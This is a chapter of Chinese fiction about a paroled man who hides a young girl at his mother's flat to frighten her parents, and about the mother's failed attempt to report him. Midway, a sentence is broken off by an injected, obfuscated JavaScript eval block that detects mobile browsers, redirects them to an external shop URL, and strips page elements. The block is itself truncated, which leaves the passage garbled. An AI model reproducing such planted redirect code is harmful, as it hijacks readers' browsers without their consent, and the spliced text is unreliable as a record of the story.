8月4日早上九点的天空仍是一层未刷匀的灰白。小区口摊贩喊价、推销蟑螂药的喇叭沙沙作响，野狗对着来往的车吠叫不停，空气里夹着徘徊不去的一股湿热与机油气味。
蔡岛嘉在居民楼下把车停稳，抬脚迈上楼道，敲响了那扇猪肝色的防盗门。
他习以为常地走进屋，两脚一别脱下运动鞋，塞进蔡娟弯腰给他放在脚前的拖鞋。和他记忆中的那个家相比，屋子有了细微的差别：墙上的婚纱照不见了，餐桌上的烟灰缸没有了，鞋柜也空空落落了，蔡娟没有提起出走的丈夫，但她憔悴的脸色却无声地提醒着他，那个叛徒仍在他看不见的地方逍遥，这是对他最大的背叛。
蔡岛嘉走进客厅，电视里放着动漫频道，颜色亮得刺眼。朵朵缩在沙发上，一条腿弯着，拿遥控器往后仰，看到他，整个人像被一把弹簧撑起。
“他们是不是吓坏了？”她把声量压低，还是憋不住兴奋，“一定后悔逼我写作业了吧？”
蔡岛嘉把在楼下小卖部随手买的一包便宜零食往茶几上一放，几包辣条从黑色塑料袋里滑了出来。
“哪有那么快。得消失久一点，他们才会真的害怕。”他走近两步，低声说，“再玩两天，等他们真的慌了，你就赢了。”
“好！”她晃了晃赤着的脚，把蔡娟给她新买的那双黄色卡通拖鞋踢到了一边。
厨房里传来瓷碗互相碰触的声音，蔡娟一边忙碌，一边说：“等我包完这盘饺子，我们就可以吃饭了。”
“谢谢阿姨！”朵朵站到沙发上响亮地应了一声，又立刻盘腿坐下，“小蔡哥哥，你答应我的东西都带了吗？”
蔡岛嘉把另一个袋子卸到茶几上，从里面翻出一叠透明亚克力片、细木条和一管热熔胶。
“当然带了。”他冲朵朵眨了下眼，“小咪很快就有新家了。”
“玻璃的那种吗？”她眼睛一下亮起来。
“差不多。”他把亚克力片一张张摊开，又从茶几的抽屉里拿出剪刀等工具。
朵朵负责拿尺，他负责画线。热熔胶枪升温时冒出一缕白烟，屋子里多了股温热的塑料味，一丝一缕，与厨房里飘出的韭菜香缠在一起。亚克力片贴合的一瞬，边缘像被透明的缝线缝住，缝里细密的气泡在光下冒出来又灭掉。
朵朵握着花枝鼠，在一旁专心致志地看，肥硕的小鼠在她掌心安静地待着，胡须时不时抖动两下，嗅嗅空气。
“这边做个坡道，这里打几个孔。”蔡岛嘉指着半成的鼠别墅，“它就能跑上跑下，像没有墙一样。”
“那它就会想逃跑。”朵朵说。
“但它逃不掉。”他说。
房子成形用了大半个小时：两层平台，一条弯弯的透明通道，顶上留了个可以开合投喂的小窗。朵朵将小咪轻轻放至亚克力盒子里，花枝鼠轻盈地蹿进新居，沿着通道一路往上，小爪子在透明地板上留下一串粉白的印，到了顶层，它顺着空气里的食物味，把脑袋挤到开口边，左右嗅了嗅，尾巴轻轻一甩，往回跑。朵朵趴在边上看，脸贴得很近，小动物在她的呼吸里转了一个弯，仿佛真的获得了自由。
蔡娟把饺子端出来，顺手把电视音量调小：“来吃热腾腾的饺子。”
朵朵把注意力从鼠别墅上拉回来，一脸期待地喊道：“我最喜欢吃饺子了！”
“那就多吃一点。”蔡娟笑着说，但笑意没到眼里。
饭后，蔡娟把茶几上的空盘重叠到一起，要收回厨房。朵朵立即穿上拖鞋，说：“我来帮你，阿姨！”
“不用，你坐着看电视就行。”蔡娟说，“儿子，你帮我把蘸碟拿进来。”
蔡岛嘉啧了一声，拿起蘸碟，直接放在了蔡娟的空盘子上面，酱油立即洒了出来，和剩下的饺子混在一起。
“这样不就行了？”
蔡娟不怎么严厉地瞪了他一眼：“不行，跟我到厨房来。”
他这才不耐烦地起身，跟着蔡娟走进厨房。
蔡娟打开水龙头，用抹布擦了擦桌面，抹布上有一小块无法洗净的油渍，颜色像陈年的茶。擦到一半，她看似平静的声音流出喉咙：“儿子，这孩子到底怎么来的？”
“朋友的啊，他们旅游去了。”蔡岛嘉用之前的借口搪塞她，“让孩子在这边住几天。”
蔡娟关上水龙头，厨房里忽然安静，客厅里传来鼠别墅里跑轮转动的声音。她把抹布挂回水龙头旁，水滴沿着抹布角往下走，她没有去拧干，背对着蔡岛嘉，肩微微一动：“那朋友的电话呢？我问问她妈，她应该想孩子了吧。”
蔡岛嘉皱起眉头，不快的眼神钉在母亲的背脊骨上：“不用。”
“为什么不用？”她转过身，眼睛里婚姻失败的忧愁和不安退去了，浮上来另一个表情，像是被翻开的旧照片，失去颜色，只剩下苍白的寒意，“你告诉妈实话。”
空气里仍有热熔胶的气味，时间仿佛也被黏住，他下意识地移开目光想逃避这个话题，但过了片刻，他再移回来，看见的是蔡娟毫无动容的神色。
“妈，”他终于开口，含糊道，“她暂时不能回去。”
“为什么？”
“因为我有点事。”
“什么事？”她问得很慢，像在拉一根已经崩到极致的线。
“就是有点事。”他的话像一块干燥的砖，扔到桌面，砸出干硬的回声。
“你——”蔡娟的唇形在“你”字上停住，好像被什么东西卡住了，“你是在……绑架吗？”
“不是。”他答得飞快，更像是在背一个熟悉的答案，“我没有伤她一根手指头。她吃得好睡得好，玩得比在家还痛快。我只是借她用用。”
“……借？”
蔡娟直愣愣地看着他。她终于松开了手里的抹布，手指止不住的颤抖，与其说将其放回台面，不如说抹布自己掉了下去。她的嘴唇翕动了好几次，终于挣扎着说完了一整句话。
“你说你改好了，你说你不会再……你说你会好好过。”她的声音几近蚊吟，眼神中充满乞求的痛苦，“儿子，别再犯同样的错，赶紧把孩子给人送回去——”
“我说了，我没伤她一根指头。我只是拿她吓吓人——为了要回本来就是我的东西。”蔡岛嘉烦躁地重复，“我好吃好喝地供着她，这叫坏？”
“可她只是个孩子，她的父母知道她在这里吗？知道她——在你这里吗？如果他们报警怎么办？你已经二十八岁了，你不能再犯错了呀，儿子！”
“所以我没碰她。妈。我只需要你帮我看着她两天。然后我就会把她送回去。”
“不要。”蔡娟几乎是本能地后退半步，恐惧的视线扫过厨房外的客厅，那里传来动漫频道夸张的配音和朵朵欢快的笑声，“把她送回去。现在就送。”
“我不呢？”蔡岛嘉有恃无恐地盯着她，没有给她丝毫缓冲的时间，“你想报警？让我再进去蹲几年？让所有人知道，你不仅马上要成离了婚的女人，唯一的儿子还被你亲手送进监狱？”
蔡娟的眼神跳了一下，脸上的神情更痛苦了。
“妈——”他用最轻柔和依恋的声音说道，“你如果报警，我什么都保不住。你不是最清楚吗？他们会怎么对我？”
“他们？”她仿佛被他的代称刺到，“那些警
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728008|189544||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
察——”
他打断她的话：“你说我变坏，我什么时候坏过？我只是偶尔会做一些错事，但谁不做错事？他们总是大惊小怪，根本不给人改正的机会。你看着我长大，你是我的妈妈，就算全世界都不站在我这边，你都应该支持我。”
“帮我一次。只要这一次，妈——求你了。”蔡岛嘉恳求道。
蔡娟呆呆地站在原地，像一个卸了发条的玩具，但蔡岛嘉知道她唯一的答案。
“我得先走了，有什么事就给我打电话。”他转身走出厨房，又回头，这次的目光中带着警告，“别做会让我麻烦的事。”
客厅里传来两人对话的声音。
“朵朵，哥哥先走了。想吃什么就跟蔡阿姨说，电视你想看多久看多久。”
“好，小蔡哥哥拜拜！”
随着一声防盗门合拢的轻响，蔡娟的最后一丝力气也像被抽走了。
“蔡阿姨，你还在厨房里忙吗？要不要我帮忙？”朵朵喊道。
“……不用，阿姨已经收拾好了。”蔡娟下意识说，她看了眼还没洗的碗盘，已经没有精力待在这个地方。
她逃回卧室，关上房门，顺着坚硬的木板慢慢滑坐下来。
床头柜上，三人的家庭合影还没收起来，那时候她的眼角还没有皱纹，丈夫的手还搭在她的肩上，儿子仍叫姜必成，带着她和丈夫对儿子“必成大器”的祝愿。她远远地看着木头的小相框，心脏像被浸泡在寒冬腊月的井水里。
门外传来朵朵看动漫时清脆的笑声，那股沉重的无忧无虑像泰山一样压在她的身上，令她无法呼吸。
她用冰冷的手指掏出手机，在数字按键上慢慢地按下两个1和一个0。
“不可能是我的儿子！这里面一定是有什么误会！”
十五年前，她在公安局歇斯底里，为儿子的清白奋不顾身地大吵大闹。然而，越来越多的证据摆在她的眼前，令她的声音越来越小，越来越动摇。
可儿子还在拘留所会面时哭着说“不是他”。她怀胎十月，冒死生下的孩子，含着泪水隔着铁窗对她哭喊“救救我，妈妈”，“不是我，妈妈”，“你一定要相信我”。
她怎么能够不信？
尽管会有不安，尽管会有怀疑，但作为一个母亲，就算全天下都不相信她的儿子，她都应该相信。哪怕要闭上眼睛，蒙上耳朵，只要能够保护她的孩子，她都在所不惜。
直到警方将他的认罪书摆在她的眼前。那熟悉的笔迹，用最残忍的方式撕碎了她的自欺欺人。
她知道死的也是别人捧在心尖的孩子。
她很痛惜，很羞愧。
但那终归是别人的孩子。
只有自己的孩子跌落火海，一个母亲才能感受到不折不扣的疼痛。
窗外有风把窗纱吹出一个脊背，她的目光又一次停留在床头柜的家庭合照上：他还那么小，站在双亲的影子里，脸上露着缺了一颗牙齿的灿烂笑容。
手机屏幕的灯光在许久没有动作后，无声地熄灭了。她像扔开一块烫手山芋，猛地将手机抛了出去。手机滑进床底，屏幕亮了一下，又灭了。
蔡娟抓住自己的双臂，指甲深深陷入肉里，胸腔像被一双利爪撕开，痛苦的嚎叫已经顶到喉咙，她把声音硬生生咬断——牙关咬疼了舌尖，喉咙只剩粗重的气声在颤。
小小的三人合照上，姜胜微笑的面庞像是对她的无声嘲笑，仿佛在说：“看，我早就说过，他没救了。”
“……至少我还在这里。”
她从牙缝里挤出微弱的声音。
“至少我没有逃跑，懦夫。”